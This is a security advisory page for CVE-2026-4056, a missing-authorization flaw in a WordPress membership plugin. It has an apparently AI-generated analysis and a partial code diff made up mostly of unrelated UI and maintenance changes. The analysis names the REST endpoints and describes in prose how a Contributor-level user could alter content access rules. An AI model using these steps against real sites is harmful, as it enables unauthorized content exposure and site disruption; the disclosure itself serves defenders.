Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 24, 2026

CVE-2026-4056: User Registration & Membership <= 5.1.4 – Missing Authorization to Authenticated (Contributor+) Content Access Rule Manipulation (user-registration)

CVE ID CVE-2026-4056
Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 5.1.4
Patched Version 5.1.5
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4056:
The vulnerability is a missing authorization flaw in the User Registration & Membership WordPress plugin versions 5.0.1 through 5.1.4. It allows authenticated users with Contributor-level permissions or higher to manipulate site-wide content access rules via the plugin’s REST API endpoints. This flaw stems from an insufficient capability check in the `check_permissions()` method.

Atomic Edge research identifies the root cause in the `check_permissions()` method of the Content Access Rules REST API controller. The vulnerable code, located in the file `user-registration/includes/RestApi/controllers/version1/class-ur-content-access-rules.php`, only verifies the `edit_posts` capability. This capability is assigned to Contributor-level users and above, permitting them to access administrative endpoints intended for managing content restriction rules. The diff shows the method incorrectly returns `current_user_can(‘edit_posts’)` on line 56, failing to enforce an administrator-level capability requirement.

The exploitation method involves an authenticated attacker with at least Contributor privileges sending crafted requests to the plugin’s REST API endpoints for content access rules. The attacker targets endpoints under the `/wp-json/user-registration/v1/content-access-rules/` namespace. Using tools like cURL or browser developer tools, the attacker can send HTTP requests (GET, POST, PUT, DELETE) to list, create, modify, duplicate, toggle, or delete rules. The attack vector does not require a nonce or additional parameters beyond standard REST API authentication, as the vulnerability is purely a missing capability check.

The patch modifies the `check_permissions()` method in `class-ur-content-access-rules.php`. The fix replaces the `current_user_can(‘edit_posts’)` check with `current_user_can(‘manage_options’)`. This change restricts endpoint access to users with the `manage_options` capability, which is typically exclusive to Administrators. The patch ensures that only users with appropriate administrative privileges can perform CRUD operations on content access rules, effectively closing the authorization gap.

Successful exploitation allows an attacker to manipulate all content restriction rules on the WordPress site. An attacker can delete or modify rules to expose content intended for restricted audiences. They can also create new rules to deny legitimate user access to content. This manipulation can lead to information disclosure, privilege escalation through unintended content access, and disruption of site membership or paywall functionality. The impact is limited to the plugin’s content access system and does not grant direct filesystem or database access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/user-registration/chunks/analytics.asset.php
+++ b/user-registration/chunks/analytics.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => '06d415d07a8adb835583');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => 'e45e2dcd7926e720b9bf');
--- a/user-registration/chunks/blocks.asset.php
+++ b/user-registration/chunks/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => '0daf06e249724400ad37');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => 'dbbc339be9cb070babed');
--- a/user-registration/chunks/content-access-rules.asset.php
+++ b/user-registration/chunks/content-access-rules.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '3062c7222eea20d25b64');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '1fc21244f537b0e80d15');
--- a/user-registration/chunks/dashboard.asset.php
+++ b/user-registration/chunks/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'b3ad757068ff7212280e');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '5ed4cc7658d6c1417567');
--- a/user-registration/includes/Analytics/Analytics.php
+++ b/user-registration/includes/Analytics/Analytics.php
@@ -80,18 +80,38 @@
 			return;
 		}

+		$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+
+		if ( ! wp_style_is( 'ur-snackbar', 'registered' ) ) {
+			wp_register_style(
+				'ur-snackbar',
+				UR()->plugin_url() . '/assets/css/ur-snackbar/ur-snackbar.css',
+				array(),
+				constant( 'UR_VERSION' )
+			);
+		}
+		wp_enqueue_style( 'ur-snackbar' );
+
+		wp_enqueue_style( 'sweetalert2' );
+
 		if ( ! wp_style_is( 'ur-core-builder-style', 'registered' ) ) {
 			wp_register_style(
 				'ur-core-builder-style',
 				UR()->plugin_url() . '/assets/css/admin.css',
 				array(),
-				UR_VERSION
+				constant( 'UR_VERSION' )
 			);
 		}
 		wp_enqueue_style( 'ur-core-builder-style' );

 		$asset = require $asset_file;

+		wp_register_script( 'ur-snackbar', UR()->plugin_url() . '/assets/js/ur-snackbar/ur-snackbar' . $suffix . '.js', array(), constant( 'UR_VERSION' ), true );
+		wp_enqueue_script( 'ur-snackbar' );
+
+		wp_enqueue_script( 'ur-feature-gate' );
+		wp_enqueue_style( 'ur-feature-gate' );
+
 		wp_enqueue_script(
 			'ur-analytics',
 			UR()->plugin_url() . '/chunks/analytics.js',
--- a/user-registration/includes/Functions/CoreFunctions.php
+++ b/user-registration/includes/Functions/CoreFunctions.php
@@ -391,6 +391,17 @@
 				);
 				$duration_label  = $duration_labels[ $duration_key ] ?? ucfirst( $duration_key );
 			}
+
+			$subscription_period = $membership_cur_amount;
+			if ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] && ! empty( $duration_label ) ) {
+				$sub_value = (int) $membership['meta_value']['subscription']['value'];
+				if ( 1 === $sub_value ) {
+					$subscription_period = $membership_cur_amount . ' ' . __( 'every', 'user-registration' ) . ' ' . $duration_label;
+				} else {
+					$subscription_period = $membership_cur_amount . ' ' . __( 'every', 'user-registration' ) . ' ' . number_format( $sub_value ) . ' ' . ucfirst( $duration_label ) . __( 's', 'user-registration' );
+				}
+			}
+
 			$new_mem[ $k ] = array(
 				'ID'                => $membership_id,
 				'title'             => ! empty( $membership['post_title'] ) ? $membership['post_title'] : '',
@@ -399,7 +410,7 @@
 				'amount'            => ! empty( $membership_meta_value ) ? $membership['meta_value']['amount'] : 0,
 				'currency_symbol'   => $symbol,
 				'calculated_amount' => 'free' === $membership_type ? 0 : ( ! empty( $membership_meta_value ) ? round( $membership_meta_value['amount'] ) : 0 ),
-				'period'            => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : ( ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] ) ? $membership_cur_amount . ' / ' . number_format( $membership['meta_value']['subscription']['value'] ) . ' ' . ucfirst( $duration_label ) . ( $membership['meta_value']['subscription']['value'] > 1 ? __( 's', 'user-registration' ) : '' ) : $membership_cur_amount ),
+				'period'            => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : $subscription_period,
 			);

 			if ( isset( $membership['meta_value']['payment_gateways'] ) ) {
--- a/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
+++ b/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
@@ -633,6 +633,10 @@

 			if ( ! empty( $page['option'] ) ) {
 				update_option( $page['option'], $post_id );
+				if ( 'user_registration_thank_you_page_id' === $page['option'] && $existing_form_id ) {
+					update_post_meta( $existing_form_id, 'user_registration_form_setting_redirect_after_registration', 'internal-page' );
+					update_post_meta( $existing_form_id, 'user_registration_form_setting_redirect_page', $post_id );
+				}
 			}

 			$page_details[ get_post_field( 'post_name', $post_id ) ] = array(
@@ -677,7 +681,11 @@
 			'title'         => esc_html__( 'Registration Form', 'user-registration' ),
 			'page_url'      => admin_url( 'admin.php?page=add-new-registration&edit-registration=' . $normal_form_id ),
 			'page_url_text' => esc_html__( 'View Form', 'user-registration' ),
-			'page_slug'     => sprintf( esc_html__( 'Form Id: %s', 'user-registration' ), $normal_form_id ),
+			'page_slug'     => sprintf(
+				/* translators: %s: Form ID. */
+				esc_html__( 'Form Id: %s', 'user-registration' ),
+				$normal_form_id
+			),
 			'status'        => 'enabled',
 			'status_label'  => esc_html__( 'Ready to use', 'user-registration' ),
 		);
@@ -912,6 +920,7 @@
 					'index'   => $index,
 					'name'    => isset( $membership['name'] ) ? $membership['name'] : '',
 					'message' => sprintf(
+						/* translators: 1: Membership plan type 2: Allowed membership plan types. */
 						__( 'Invalid membership type: %1$s. Only %2$s memberships are allowed based on your selection.', 'user-registration' ),
 						$plan_type,
 						implode( ' or ', $allowed_types )
@@ -1591,6 +1600,7 @@
 	 *
 	 * @param WP_REST_Request $request Request instance.
 	 * @return WP_REST_Response
+	 * @throws Exception When Stripe credential validation fails.
 	 */
 	public static function save_payment_settings( $request ) {
 		$offline_payment = isset( $request['offline_payment'] ) ? (bool) $request['offline_payment'] : false;
@@ -1618,7 +1628,9 @@

 		$offline_configured = true;
 		if ( $offline_payment ) {
-			$offline_configured = ! empty( trim( wp_strip_all_tags( $bank_details ) ) );
+			$sanitized_bank_details = trim( wp_strip_all_tags( $bank_details ) );
+			$offline_configured     = ! empty( $sanitized_bank_details );
+
 			if ( ! $offline_configured ) {
 				$configuration_needed[] = array(
 					'gateway'      => 'offline',
@@ -1734,24 +1746,13 @@
 						continue;
 					}

-					try {
-						$post_data = array(
-							'ID'           => $membership_id,
-							'post_title'   => $post->post_title,
-							'post_content' => $post->post_content,
-						);
+					$post_data = array(
+						'ID'           => $membership_id,
+						'post_title'   => $post->post_title,
+						'post_content' => $post->post_content,
+					);

-						$stripe_result = $stripe_service->create_stripe_product_and_price( $post_data, $meta, false );
-
-						if ( isset( $stripe_result['success'] ) && ur_string_to_bool( $stripe_result['success'] ) ) {
-							$meta['payment_gateways']['stripe']               = array();
-							$meta['payment_gateways']['stripe']['product_id'] = $stripe_result['price']->product;
-							$meta['payment_gateways']['stripe']['price_id']   = $stripe_result['price']->id;
-							update_post_meta( $membership_id, 'ur_membership', wp_json_encode( $meta ) );
-						}
-					} catch ( Exception $e ) {
-						continue;
-					}
+					user_registration_create_product_and_price_for_stripe( $post_data );
 				}
 			} catch ( Exception $e ) {

--- a/user-registration/includes/abstracts/abstract-ur-form-field.php
+++ b/user-registration/includes/abstracts/abstract-ur-form-field.php
@@ -910,6 +910,26 @@
 					}
 					break;

+				case 'multiselect':
+					if ( isset( $setting_value['options'] )
+					     && gettype( $setting_value['options'] ) == 'array' ) {
+
+						$general_setting_wrapper .= '<select data-field="' . esc_attr( $setting_key ) . '" class="ur-general-setting-field ur-multiselect ur-type-' . esc_attr( $setting_value['type'] ) . '"  name="' . esc_attr( $setting_value['name'] ) . '" multiple>';
+
+						$selected_arr = $this->get_general_setting_data( $setting_key );
+						$selected_arr = maybe_unserialize( $selected_arr );
+						$selected_arr = is_array( $selected_arr ) ? $selected_arr : array();
+						foreach ( $setting_value['options'] as $key => $val ) {
+							$selected  = selected( in_array( $key, $selected_arr ), true, false );
+							$general_setting_wrapper .= '<option value="' . esc_attr( $key ) . '" ' . esc_attr( $selected ) . '>';
+							$general_setting_wrapper .= esc_html( $val );
+							$general_setting_wrapper .= '</option>';
+						}
+
+						$general_setting_wrapper .= '</select>';
+					}
+					break;
+
 				case 'textarea':
 					$general_setting_wrapper .= '<textarea data-field="' . esc_attr( $setting_key ) . '" class="ur-general-setting-field ur-type-' . esc_attr( $setting_value['type'] ) . '"  name="' . esc_attr( $setting_value['name'] ) . '" placeholder= "' . esc_attr( $setting_value['placeholder'] ) . '" ';

--- a/user-registration/includes/admin/class-ur-admin-assets.php
+++ b/user-registration/includes/admin/class-ur-admin-assets.php
@@ -174,6 +174,9 @@
 			);
 		}

+		wp_register_script( 'popper', UR()->plugin_url() . "/assets/js/popper/popper$suffix.js", [], UR_VERSION, true );
+		wp_register_script( 'tippy', UR()->plugin_url() . "/assets/js/tippy/tippy$suffix.js", [ 'popper' ], UR_VERSION, true );
+
 		wp_register_script( 'jquery-blockui', UR()->plugin_url() . '/assets/js/jquery-blockui/jquery.blockUI' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );
 		wp_register_script( 'tooltipster', UR()->plugin_url() . '/assets/js/tooltipster/tooltipster.bundle' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );
 		wp_register_script( 'jquery-confirm', UR()->plugin_url() . '/assets/js/jquery-confirm/jquery-confirm' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );
--- a/user-registration/includes/admin/class-ur-admin-base-layout.php
+++ b/user-registration/includes/admin/class-ur-admin-base-layout.php
@@ -1,6 +1,8 @@
 <?php
 /**
  * Base Page class for pages.
+ *
+ * @package UserRegistration
  */

 use WPEverestURMembershipAdminRepositoriesMembershipGroupRepository;
@@ -9,6 +11,11 @@
 	exit;
 }

+/**
+ * Base Layout class for pages.
+ *
+ * @package UserRegistration
+ */
 class UR_Base_Layout {
 	/**
 	 * Render a standard list-table page layout for a given WP_List_Table instance.
@@ -49,10 +56,6 @@
 			$total_items = (int) $table->get_pagination_arg( 'total_items' );
 		}

-		$is_searching = isset( $_GET['s'] ) && '' !== trim( wp_unslash( $_GET['s'] ) );
-
-		$show_search = ( $total_items > 10 ) || $is_searching;
-
 		$is_membership_page = isset( $_GET['page'] ) && 'user-registration-membership' === $_GET['page'] && ! isset( $_GET['action'] ) ? true : false;

 		?>
@@ -139,8 +142,8 @@
 	/**
 	 * Display Search Input with button
 	 *
-	 * @param $search_id
-	 * @param $placeholder
+	 * @param string $search_id    HTML id attribute for the search input.
+	 * @param string $placeholder Placeholder text for the search input (ellipsis is appended).
 	 *
 	 * @return void
 	 */
@@ -148,7 +151,7 @@
 		?>
 			<input type="search" id="<?php echo esc_attr( $search_id ); ?>" name="s"
 					value="<?php echo esc_attr( $_GET['s'] ?? '' ); ?>"
-					placeholder="<?php echo esc_attr( $placeholder ); ?> ..."
+					placeholder="<?php echo esc_attr( $placeholder ); ?>..."
 					autocomplete="off">
 			<button type="submit" id="search-submit">
 				<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
@@ -182,18 +185,35 @@
 				esc_html( $type )
 			);

-			$secondary_message = sprintf(
-			/* translators: %s: type */
-				__( 'Please add %s and you’re good to go.', 'user-registration' ),
-				esc_html( strtolower( $type ) )
-			);
+			if ( 'Memberships' === $type ) {
+				$secondary_message = sprintf(
+				/* translators: %s: type */
+					__( 'Need help setting up your %s?', 'user-registration' ),
+					esc_html( strtolower( $type ) )
+				);
+			} else {
+
+				$secondary_message = sprintf(
+				/* translators: %s: type */
+					__( 'Please add %s and you’re good to go.', 'user-registration' ),
+					esc_html( strtolower( $type ) )
+				);
+			}
+
+			$video_url = 'https://www.youtube.com/playlist?list=PLcrB6drBDePkshUw7r5BNVLRwpr8RaXyy';
 		}
 		?>
 		<div class="empty-list-table-container">
 			<img src="<?php echo esc_url( $image_url ); ?>" alt="">
 			<h3><?php echo esc_html( $primary_message ); ?></h3>
-			<p><?php echo wp_kses_post( $secondary_message ); ?></p>
-		</div>
+			<div class="empty-list-table-subtext">
+				<p><?php echo wp_kses_post( $secondary_message ); ?></p>
+				<?php if ( ! empty( $video_url ) && 'Memberships' === $type ) : ?>
+					<a class="empty-video-url" target="_blank" href="<?php echo esc_url( $video_url ); ?>"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-external-link"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/><polyline points="15 3 21 3 21 9"/><line x1="10" y1="14" x2="21" y2="3"/></svg>
+						<?php echo 'Watch Tutorials'; ?></a>
+				<?php endif; ?>
+			</div>
+			</div>
 			<?php
 	}
 }
--- a/user-registration/includes/admin/class-ur-admin-menus.php
+++ b/user-registration/includes/admin/class-ur-admin-menus.php
@@ -1119,6 +1119,18 @@
 			wp_enqueue_style( 'ur-toast' );
 			wp_enqueue_script( 'ur-enhanced-select-custom' );

+			wp_add_inline_script(
+				'ur-enhanced-select-custom',
+				"
+			(function($) {
+				'use strict';
+				$(document).ready(function() {
+					$('.ur-multiselect').select2();
+				});
+			})(jQuery);
+			"
+			);
+
 			wp_localize_script(
 				'ur-setup',
 				'ur_setup_params',
--- a/user-registration/includes/admin/class-ur-admin-registrations-table-list.php
+++ b/user-registration/includes/admin/class-ur-admin-registrations-table-list.php
@@ -245,6 +245,9 @@
 	public function display() {
 		$singular = $this->_args['singular'];

+		$this->views();
+		echo '</br>';
+
 		$this->display_tablenav( 'top' );

 		$this->screen->render_screen_reader_content( 'heading_list' );
--- a/user-registration/includes/admin/class-ur-admin-settings.php
+++ b/user-registration/includes/admin/class-ur-admin-settings.php
@@ -65,7 +65,8 @@
 		global $current_section, $current_tab;
 		global $current_section_part;

-		$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+		$suffix                 = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+		$current_tab_for_assets = empty( $_GET['tab'] ) ? 'general' : sanitize_title( wp_unslash( $_GET['tab'] ) ); // phpcs:ignore WordPress.Security.NonceVerification

 		/**
 		 * Action to output start settings
@@ -123,6 +124,41 @@
 			"
 		);

+		if ( 'payment' === $current_tab_for_assets ) {
+			wp_enqueue_script( 'tippy' );
+			if ( ! wp_style_is( 'ur-membership-admin-style', 'registered' ) ) {
+				wp_register_style( 'ur-membership-admin-style', UR()->plugin_url() . '/assets/css/modules/membership/user-registration-membership-admin.css', array(), UR_VERSION );
+			}
+			wp_enqueue_style( 'ur-membership-admin-style' );
+			wp_add_inline_script(
+				'tippy',
+				'jQuery(document).ready(function() {
+					var el = document.querySelectorAll("[data-gate-content]");
+					if (el.length && typeof window.tippy !== "undefined") {
+						tippy.setDefaultProps({ maxWidth: "280px" });
+						el.forEach(function(ref) {
+							var placement = ref.getAttribute("data-gate-placement") || "right";
+							tippy(ref, {
+								content: function() {
+									var id = ref.getAttribute("data-gate-content");
+									var template = document.getElementById(id);
+									if (!template || !template.content) return "";
+									var div = document.createElement("div");
+									div.appendChild(template.content.cloneNode(true));
+									return div.innerHTML;
+								},
+								allowHTML: true,
+								interactive: true,
+								placement: placement,
+								inertia: true,
+								theme: "ur-gate"
+							});
+						});
+					}
+				});'
+			);
+		}
+
 		wp_add_inline_style(
 			'ur-snackbar',
 			'
@@ -198,8 +234,6 @@
 				'i18n'                                 => array(
 					'advanced_logic_rules_exist_error'   => esc_html__( 'Remove all rules with advance logics first before disabling.', 'user-registration' ),
 					'advanced_logic_check_error'         => esc_html__( 'An error occurred while checking for advanced logic rules.', 'user-registration' ),
-					'advanced_logic_rules_exist_error'   => esc_html__( 'Remove all rules with advance logics first before disabling.', 'user-registration' ),
-					'advanced_logic_check_error'         => esc_html__( 'An error occurred while checking for advanced logic rules.', 'user-registration' ),
 					'captcha_success'                    => esc_html__( 'Captcha Test Successful !', 'user-registration' ),
 					'captcha_reset_title'                => esc_html__( 'Reset Keys', 'user-registration' ),
 					'payment_reset_title'                => esc_html__( 'Reset Details', 'user-registration' ),
@@ -267,7 +301,7 @@
 		 *
 		 * @param array Array of settings page
 		 */
-		$tabs = apply_filters( 'user_registration_settings_tabs_array', array() );
+		$tabs = apply_filters( 'user_registration_settings_tabs_array', array() ); // phpcs:ignore

 		$GLOBALS['hide_save_button'] = false;
 		if ( 'import_export' === $current_tab ) {
@@ -298,11 +332,7 @@
 			$settings[] = include 'settings/class-ur-settings-email.php';
 			$settings[] = include 'settings/class-ur-settings-registration-login.php';
 			$settings[] = include 'settings/class-ur-settings-my-account.php';
-
-			// $is_pro_active = is_plugin_active( 'user-registration-pro/user-registration.php' );
-			// if( $is_pro_active ) {
 			$settings[] = include 'settings/class-ur-settings-integration.php';
-			// }

 			$settings[] = include 'settings/class-ur-settings-security.php';
 			$settings[] = include 'settings/class-ur-settings-advanced.php';
@@ -339,7 +369,7 @@
 		$flag = apply_filters( 'user_registration_settings_prevent_default_login', $_REQUEST );

 		if ( $flag && is_bool( $flag ) ) {
-			if ( $current_tab !== 'license' ) {
+			if ( 'license' !== $current_tab ) {
 				self::add_message( esc_html__( 'Your settings have been saved.', 'user-registration' ) );
 			}

@@ -403,6 +433,7 @@
 	 * Add an error.
 	 *
 	 * @param string $text Text.
+	 * @param string $type Error Type.
 	 */
 	public static function add_error( $text, $type = '' ) {
 		if ( ! empty( $type ) ) {
@@ -420,6 +451,7 @@
 	 * @param array $options Opens array to output.
 	 */
 	public static function output_fields( $options ) {
+
 		$settings = '';

 		if ( is_array( $options ) && ! empty( $options ) ) {
@@ -469,25 +501,25 @@
 						if ( ! empty( $section['title'] ) ) {
 							$settings .= '<div class="user-registration-card__header-wrapper">';
 							if ( isset( $section['back_link'] ) ) {
-								$settings .= $section['back_link']; // removed kses since the inputs are sanitized in the function ur_back_link itself
+								$settings .= $section['back_link']; // removed kses since the inputs are sanitized in the function ur_back_link itself.
 							}
 							$settings .= '<h3 class="user-registration-card__title">';
 							$settings .= esc_html( ucwords( $section['title'] ) );

 							if ( isset( $section['is_premium'] ) && $section['is_premium'] ) {
-								$settings .= '<div style="margin-right: 4px;display: inline-block;width: 16px; height: 16px;" ><img style="width: 100%;height:100%;" src="' . UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png' . '" /></div>';
+								$settings .= '<div style="margin-right: 4px;display: inline-block;width: 16px; height: 16px;" ><img style="width: 100%;height:100%;" src="' . UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png" /></div>';
 							}
 							$settings .= '</h3>';

 							if ( ! empty( $section['button'] ) ) {
 								if ( isset( $section['button']['button_type'] ) && 'upgrade_link' === $section['button']['button_type'] ) {
-									$settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="ur-upgrade--link" target="_blank">' . '<span>' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span></a>';
+									$settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="ur-upgrade--link" target="_blank"><span>' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span></a>';
 								} else {
 									$button_class  = isset( $section['button']['button_class'] ) ? esc_attr( $section['button']['button_class'] ) : 'user_registration_smart_tags_used';
 									$button_type   = isset( $section['button']['button_type'] ) ? $section['button']['button_type'] : '';
 									$button_target = ( 'ur-add-new-custom-email' === $button_type ) ? '' : 'target="_blank"';
 									$external_icon = ( 'ur-add-new-custom-email' === $button_type ) ? '' : '<span class="dashicons dashicons-external"></span>';
-									$settings     .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="' . $button_class . '" style="min-width:90px;" ' . $button_target . '>' . '<span style="text-decoration: underline;">' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span>' . $external_icon . '</a>';
+									$settings     .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="' . $button_class . '" style="min-width:90px;" ' . $button_target . '><span style="text-decoration: underline;">' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span>' . $external_icon . '</a>';
 								}
 							}
 							$settings .= '</div>';
@@ -499,15 +531,15 @@

 						$settings .= '</div>';

-						//Show upsell texts.
+						// Show upsell texts.
 						if ( ! empty( $section['upsell'] ) ) {
 							$upsell_section = $section['upsell'];
 							$settings      .= '<div class="user-registration-upsell">';
-							//excerpt.
+							// excerpt.
 							if ( ! empty( $upsell_section['excerpt'] ) ) {
 								$settings .= '<p style="font-size: 14px;">' . wptexturize( wp_kses_post( $upsell_section['excerpt'] ) ) . '</p>';
 							}
-							//descriptions.
+							// descriptions.
 							if ( ! empty( $upsell_section['description'] ) ) {
 								if ( is_string( $upsell_section['description'] ) ) {
 									$settings .= '<p style="font-size: 14px;">' . wptexturize( wp_kses_post( $upsell_section['excerpt'] ) ) . '</p>';
@@ -528,10 +560,6 @@
 							$settings .= '</div>';
 						}

-						if ( ! empty( $section['before_desc'] ) ) {
-							//                          $settings .= '<p style="font-size: 14px;">' . wptexturize( wp_kses_post( $section['before_desc'] ) ) . '</p>';
-						}
-
 						if ( ! empty( $section['desc'] ) ) {
 							$settings .= '<p class="ur-p-tag">' . wptexturize( wp_kses_post( $section['desc'] ) ) . '</p>';
 						}
@@ -565,8 +593,14 @@
 						} else {
 							$settings .= '<div class="user-registration-card ur-mb-2' . $is_captcha . '" ' . esc_attr( $section_id ) . '>';
 						}
+
 						$settings .= '<div class="user-registration-card__header ur-d-flex ur-align-items-center ur-p-3 integration-header-info accordion' . $is_captcha_header . '">';
-						$settings .= '<div class="integration-detail">';
+						if ( ! UR_PRO_ACTIVE && ( 'free-mollie' === $section['id'] || 'free-authorize-net' === $section['id'] ) ) {
+							$settings .= '<div class="integration-detail upgradable-type">';
+						} else {
+
+							$settings .= '<div class="integration-detail ">';
+						}
 						$settings .= '<figure class="logo">';
 						$settings .= '<img src="' . UR()->plugin_url() . '/assets/images/settings-icons/' . $section['id'] . '.png" alt="' . $section['title'] . '">';
 						$settings .= '</figure>';
@@ -574,6 +608,21 @@
 							$settings .= '<h3 class="user-registration-card__title">' . esc_html( $section['title'] );
 							$settings .= '</h3>';
 						}
+						if ( ! UR_PRO_ACTIVE && ( 'free-mollie' === $section['id'] || 'free-authorize-net' === $section['id'] ) ) {
+							$result    = ' data-gate-content="ur-pro-' . $section['id'] . '"';
+							$settings .= '<img class="ur-pro-premium" data-feature-gate="tooltip" data-gate-placement="right" data-gate-interactive="true"' . $result . ' src="' . UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png" alt="' . $section['title'] . '">';
+							$settings .= '<template id="ur-pro-' . $section['id'] . '">';
+							$settings .= '<div class="ur-feature">';
+							$settings .= '<div class="ur-feature__title">';
+							$settings .= esc_html__( $section['title'] . ' payment feature only available in Pro.', 'user-registration' );
+							$settings .= '</div>';
+							$settings .= '<a target="_blank" class="ur-feature__btn" href="https://wpuserregistration.com/upgrade/?utm_source=ur-membership-create&utm_medium=upgrade-link&utm-campaign=lite-version">';
+							$settings .= '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M11.562 3.266a.5.5 0 0 1 .876 0L15.39 8.87a1 1 0 0 0 1.516.294L21.183 5.5a.5.5 0 0 1 .798.519l-2.834 10.246a1 1 0 0 1-.956.734H5.81a1 1 0 0 1-.957-.734L2.02 6.02a.5.5 0 0 1 .798-.519l4.276 3.664a1 1 0 0 0 1.516-.294z"></path><path d="M5 21h14"></path></svg>';
+							$settings .= esc_html__( 'Upgrade to Pro', 'user-registration' );
+							$settings .= '</a>';
+							$settings .= '</div>';
+							$settings .= '</template>';
+						}
 						$settings .= '<span class="ur-connection-status ' . ( $is_connected ? 'ur-connection-status--active' : '' ) . '">';
 						$settings .= '</span>';

@@ -656,6 +705,13 @@
 							$field_description = self::get_field_description( $value );
 							extract( $field_description ); // phpcs:ignore

+							$notice_field = '';
+							if ( isset( $value['notice'] ) && ! empty( $value['notice'] ) ) {
+								$notice_type    = isset( $value['notice']['type'] ) ? $value['notice']['type'] : 'info';
+								$notice_message = isset( $value['notice']['message'] ) ? $value['notice']['message'] : '';
+								$notice_field   = '<span class="ur-settings-notice ur-settings-notice--' . $notice_type . '">' . $notice_message . '</span>';
+							}
+
 							// Display condition/dependency handling.
 							$display_condition_data  = self::get_display_condition_attributes( $value );
 							$display_condition_attrs = $display_condition_data['attrs'];
@@ -830,7 +886,7 @@
 											cols="' . esc_attr( $value['cols'] ) . '"
 											placeholder="' . esc_attr( $value['placeholder'] ) . '"
 											' . esc_html( implode( ' ', $custom_attributes ) ) . '>'
-									             . esc_textarea( $option_value ) . '</textarea>';
+												. esc_textarea( $option_value ) . '</textarea>';
 									$settings .= '</div>';
 									$settings .= '</div>';
 									break;
@@ -1215,6 +1271,7 @@
 									$settings .= '</div>';
 									$settings .= wp_kses_post( $description );
 									$settings .= wp_kses_post( $desc_field );
+									$settings .= wp_kses_post( $notice_field );
 									$settings .= '</div>';
 									$settings .= '</div>';
 									break;
@@ -1284,14 +1341,14 @@
 										)
 									);
 									$show_reset_key_button = ( $is_connected && in_array(
-											$section_id,
-											array(
-												'v2',
-												'v3',
-												'hCaptcha',
-												'cloudflare',
-											)
-										) );
+										$section_id,
+										array(
+											'v2',
+											'v3',
+											'hCaptcha',
+											'cloudflare',
+										)
+									) );
 									if ( in_array(
 										$section_id,
 										array(
@@ -1300,6 +1357,8 @@
 											'bank',
 											'payment-settings',
 											'mollie',
+											'free-mollie',
+											'free-authorize-net',
 											'authorize-net',
 											'v2',
 											'v3',
@@ -1900,7 +1959,7 @@

 		// Save all options in our array.
 		foreach ( $update_options as $name => $value ) {
-			//sync membership 'user_registration_member_registration_page_id' with 'user_registration_registration_page_id'.
+			// sync membership 'user_registration_member_registration_page_id' with 'user_registration_registration_page_id'.
 			if ( 'user_registration_member_registration_page_id' === $name ) {
 				update_option( 'user_registration_registration_page_id', $value );
 			}
--- a/user-registration/includes/admin/settings/class-ur-settings-general.php
